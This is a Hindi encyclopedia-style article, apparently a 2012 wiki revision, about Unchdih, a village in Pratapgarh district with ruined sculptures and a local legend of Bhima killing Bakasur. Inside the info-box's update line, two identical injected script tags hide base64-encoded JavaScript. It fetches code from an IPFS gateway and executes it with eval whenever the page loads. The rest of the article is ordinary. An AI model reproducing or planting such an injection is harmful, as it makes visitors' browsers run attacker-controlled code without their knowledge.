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12:58, 6 जून 2012 का अवतरण
ऊँचडीह
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विवरण | ऊँचडीह एक ऐतिहासिक स्थल है, जहाँ पर प्राचीन अवशेष मिले हैं। | ||
राज्य | उत्तर प्रदेश | ||
ज़िला | प्रतापगढ़ ज़िला | ||
मार्ग स्थिति | इलाहाबाद जंक्शन से लगभग 40 किमी की दूरी पर स्थित है। | ||
संबंधित लेख | भयहरणनाथ धाम | भाषा | हिंदी, अंग्रेजी |
अद्यतन | 18:12, 6 जून 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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ऊँचडीह,तीर्थराज प्रयाग से लगभग 40 किमी दूरी पर उत्तर दिशा मे प्रतापगढ़ इलाहाबाद के जनपदीय सीमा पर स्थित एक ऐतिहासिक स्थान है,जो महाभारत कालीन बाबा भयहरणनाथ धाम के समीप है।
ऊँचडीह गाँव में पुरातात्विक महत्व के कई अवशेष पाए गए है,भग्न मुर्तियाँ,पत्थरो पर बनी प्राचीन कालाकृतियाँ तथा शिलाखंड प्रमुख है।
यहाँ के प्राप्त अवशेष महाभारत कालीन व बौद्ध कालीन प्रतीत होते है।प्राप्त अवशेष भग्न अवस्था मे है।
पौराणिक व ग्रामवासियो के मान्यताओ के अनुसार,ऊँचडीह राक्षस बकासुर का एक निवास क्षेत्र था और बकासुर का वध महाबली भीम द्वारा भयहरणनाथ के निकट ऊँचडीह मे हुआ था।प्रतापगढ़ जिले बौद्धकालीन सूर्य मंदिर व तीर्थ भयहरणनाथ मंदिर ऊँचडीह गाँव के निकट स्थित है।
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
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